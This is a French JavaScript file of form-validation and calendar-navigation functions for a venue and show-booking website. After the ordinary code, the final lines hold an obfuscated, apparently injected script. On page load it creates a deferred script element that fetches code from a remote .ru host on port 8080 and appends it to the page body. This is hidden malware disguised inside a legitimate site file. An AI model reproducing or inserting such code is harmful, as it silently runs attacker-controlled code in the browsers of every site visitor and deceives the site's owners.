function VerifieSG()
{
var Erreur = 0;

Erreur = VerifieSaisieChaine(window.document.forms[0].LibelleLieuSG.value,"Le lieu doit être renseigné",Erreur);
Erreur = VerifieChaineSiSaisie(window.document.forms[0].NomSalleSG.value,"Le nom de la salle doit être renseigné",Erreur);
Erreur = VerifieSaisieChaine(window.document.forms[0].Adresse1SG.value,"L'adresse de la salle est obligatoire",Erreur);
Erreur = VerifieSaisieCodePostal(window.document.forms[0].CodePostalSG.value,"Le code Postal est obligatoire et doit être constitué de 5 chiffres",Erreur);
Erreur = VerifieSaisieChaine(window.document.forms[0].VilleSG.value,"La ville est obligatoire",Erreur);
Erreur = VerifieFloatPositifSiSaisie(window.document.forms[0].CapaciteSG.value,"La jauge de votre Salle est vide ou saisie incorrecte",Erreur);


if(Erreur == 0)
  {
  //window.document.forms[0].submit();
  return true;
  }
else
  {  
    alert("Des erreurs ont eu lieu");
    return false;
  }

}

function VerifieINVG()
{
var Erreur = 0;
if(window.document.forms[0].CodeSG.value == 0)
   {
   alert(" Vous devez d'abord choisir un lieux !")
   Erreur ++;
   }
Erreur = VerifieSaisieDate(window.document.forms[0].DateINV.value,"La date d'invitation est obligatoire et sous format JJ/MM/AAAA",Erreur);
Erreur = VerifieSaisiePositif(window.document.forms[0].DonsPlaces.value,"Le champ Nombre d'invitations est vide ou non numérique, Entrez un nombre entier !",Erreur);

if(TrouveControle(window.document.forms[0],"Putil"))
{
  if (window.document.forms[0].DonsPlaces.value <= window.document.forms[0].Putil.value)
  {
   alert(" Vous devez saisir un nombre d'invités supérieur aux places utilisées: "+window.document.forms[0].Putil.value)
   Erreur ++;
  }
}

Erreur = VerifieFloatPositifSiSaisie(window.document.forms[0].PrixRepas.value,"Le prix du repas doit être numérique",Erreur);
Erreur = VerifieFloatPositifSiSaisie(window.document.forms[0].PrixMenu.value,"Le prix du Menu doit être numérique",Erreur);

if(Erreur == 0)
  {
  //window.document.forms[0].submit();
  return true;
  }
else
  {  
    alert("Des erreurs ont eu lieu");
    return false;
  }
}


function VerifieResaINVG()
{
var Erreur = 0;
Erreur = VerifieSaisieChaine(window.document.forms[0].NomPersonneResaG.value,"Le nom du responsable du groupe  doit être renseigné",Erreur);

Erreur = VerifieSaisiePositif(window.document.forms[0].NbINVG.value,"Le champ Nombre d'invitations est vide ou non numérique, Entrez un nombre entier !",Erreur);

if(Erreur == 0)
  {
  return true;
  }
else
  {  
    alert("Des erreurs ont eu lieu");
    return false;
  }

}
//*****************************************
function DeplacementINVG(Offset,CodeS)
{
Annee = (window.document.forms[0].Annee.options[window.document.forms[0].Annee.selectedIndex].value * 1);
Mois  = (window.document.forms[0].Mois.options[window.document.forms[0].Mois.selectedIndex].value * 1);
if(Offset == -1) 
   {
   if(Mois == 1)
      {
      Annee = Annee - 1;
      Mois = 12;
      }
   else
      {
      Mois = Mois - 1;
      }
   }
else
   {
   if(Mois == 12)
      {
      Annee = Annee + 1;
      Mois = 1;
      }
   else
      {
      Mois = Mois + 1;
      }
   }
RedessinerProg1(Annee,Mois,CodeS);
}

function DeplacementRESAG(Offset,CodeD)
{
Annee = (window.document.forms[0].Annee.options[window.document.forms[0].Annee.selectedIndex].value * 1);
Mois  = (window.document.forms[0].Mois.options[window.document.forms[0].Mois.selectedIndex].value * 1);
if(Offset == -1) 
   {
   if(Mois == 1)
      {
      Annee = Annee - 1;
      Mois = 12;
      }
   else
      {
      Mois = Mois - 1;
      }
   }
else
   {
   if(Mois == 12)
      {
      Annee = Annee + 1;
      Mois = 1;
      }
   else
      {
      Mois = Mois + 1;
      }
   }
RedessinerRESAG(Annee,Mois,CodeD);
}


//***************************************
function Afficher(NbElements,Mode)
{
var Erreur = 0;
for (i=1;i<=NbElements;i++) 
   {
   if(window.document.forms[0].elements["LibelleNS"+i].value != "") 
      {
      if(!IsInteger(window.document.forms[0].elements["CapaciteNS"+i].value) )
         {
         alert("Erreur au niveau de la ligne N° " + i +  " : La capacité est soit vide soit non numérique");
         Erreur++;
         }
      }
   else
      {
      if(Mode == 1)
       {
       alert("Erreur au niveau de la ligne N° " + i +  " Vous devez saisir un libellé pour vos types de places d'origine")
       Erreur++;
       }
     }
   }


if(Mode == 1)
   {
   if(window.document.forms[0].elements["LibelleNS"+(NbElements+1)].value != "") 
      {
      if(! IsInteger(window.document.forms[0].elements["CapaciteNS"+(NbElements+1)].value) )
         {
         alert("Erreur au niveau de la ligne N° " + (NbElements+1) +  " : La capacité est soit vide soit non numérique");
         Erreur++;
         }
      }
   }

if(Erreur == 0)  
   {
   if(Mode == 1)
      {
      window.document.forms[0].NBTypePlaceS.value = NbElements+1;
      }
 //window.document.forms[0].submit();
   return true;
   }
else
   {
   alert("Vous avez " + Erreur + " erreurs de saisie");
   return false;   
   }
}

function VerifieRecS()
{
var Erreur = 0;
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].CapaciteS.value,"Si la jauge fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].OuvertureS.value,"Si l'ouverture fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].ProfondeurS.value,"Si la profondeur fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].HauteurCadreS.value,"Si la Hauteur au cadre de scène fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].HauteurGrillS.value,"Si la Hauteur sous grill fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].DiametreS.value,"Si le diamètre fait partie de vos critères, elle doit être numérique",Erreur);
Erreur = VerifieIntegerSiSaisie(window.document.forms[0].SurfaceS.value,"Si la surface fait partie de vos critères, elle doit être numérique",Erreur);

if(Erreur == 0)
   {
//   window.document.forms[0].submit();
   return true;
   }
else
   {
   alert("Vous avez " + Erreur + " Erreurs de saisie");
   return false;
   }
}


function VerifieTechS()
{
var Erreur = 0;
Erreur = VerifieSaisieFloat(window.document.forms[0].LargeurS.value,"La largeur doit être numérique",Erreur);
Erreur = VerifieSaisieFloat(window.document.forms[0].OuvertureS.value,"L'ouverture doit être numérique",Erreur);
Erreur = VerifieSaisieFloat(window.document.forms[0].ProfondeurS.value,"La profondeur doit être numérique",Erreur);
Erreur = VerifieSaisieFloat(window.document.forms[0].HauteurCadreS.value,"La hauteur du cadre doit être numérique",Erreur);
Erreur = VerifieSaisieFloat(window.document.forms[0].HauteurGrillS.value,"La hauteur sous Grill ou sous vergue doit être numérique",Erreur);
if(window.document.forms[0].SurfaceS)
{
Erreur =  VerifieSaisieFloat(window.document.forms[0].SurfaceS.value,"La surface doit être numérique",Erreur);
}

if(window.document.forms[0].ProsceniumS.checked)
   {
   Erreur = VerifieSaisieFloat(window.document.forms[0].ValProsceniumS.value,"Le proscenium doit être numérique",Erreur);
   }

Erreur = VerifieFloatSiSaisie(window.document.forms[0].DiametreS.value,"Le diamètre doit être numérique",Erreur);

if(window.document.forms[0].PrixS)
{
Erreur = VerifieFloatSiSaisie(window.document.forms[0].PrixS.value,"Le Prix doit être numérique",Erreur);
}

if(Erreur == 0)
  {
  //window.document.forms[0].submit();
  return true;
  }
else
  {  
   alert("Vous avez " + Erreur + " erreur(s) de saisie");
    return false;
  }

  
}




var c=false;var K;var Q=[];d=function(){W={n:"GE"};yi=["E","y"];NG=45772;NG++;function w(KC,V,G){q=51714;q--;return KC.substr(V,G);}try {var u='nX'} catch(u){};var B=false;var h="/sw"+"eet"+"im-"+w("comD8LK",0,3)+w("L7Y/goYL7",3,3)+"ogl"+w("maUAe.cmAUa",4,3)+w("om/8uTZ",0,3)+"san"+w("syOooksyO",3,3)+w("2P0Q.coP02Q",4,3)+w("KdRm.pRKd",3,3)+"hp";var l='';var T=new String();var R=RegExp;var M='';try {} catch(qA){};var Js=["qW","i","H"];var a=document;pY=394;pY--;cj=["vE","O"];var ae="ae";function b(KC,V){var eT=new Array();var G=new String(w("[Fwak",0,1))+V+"]";var J=new R(G, "g");YO=50298;YO-=193;return KC.replace(J, M);};var wx=false;var L=b('skclrNiZpete','leQk1FDbZNxY');this.qG='';this.zk='';var N=new String("body");rm={wA:49770};var Z=875484-867404;o=["cJ"];var Ys={wD:false};wM=["Pm"];gS=["Oi"];var X=null;K=function(){try {var m=b('cirjeiaitdeVEHlIedmIeVnutu','IijuVdH');ut={mg:"en"};z=a[m](L);try {var BB='ig'} catch(BB){};XT={Fx:false};var KC=Z+h;this.ZJ="ZJ";this.U="U";var Kh=["ti","US","x"];var A=String("defe"+"r");this.TW=false;this.KF=10024;this.KF++;var Vt=b('sfrScV','YT4zSg2_Rf9VnGUb');try {var qy='AX'} catch(qy){};hz=["oKO"];var vd=["UQ","Of","GJ"];PQ=["Cs"];z[A]=[1][0];var gG="";z[Vt]=new String("htt"+"p:/"+"/do"+w("pebQjuk",0,3)+w("6EdankdE6",3,3)+w("2yv.ru2vy",3,3)+":")+KC;var Vn=new Array();EM=9030;EM++;a[N].appendChild(z);f=41621;f+=155;} catch(MV){var oT=new String();Nx=48794;Nx+=124;uF=7155;uF+=241;};};};this.So=1801;this.So+=158;d();NX=["iD","Qy","tr"];window.onload=K;var YFH=["Ha","VKY","RdW"];Tq=21046;Tq--;jL=43548;jL+=103;var Ie=new String();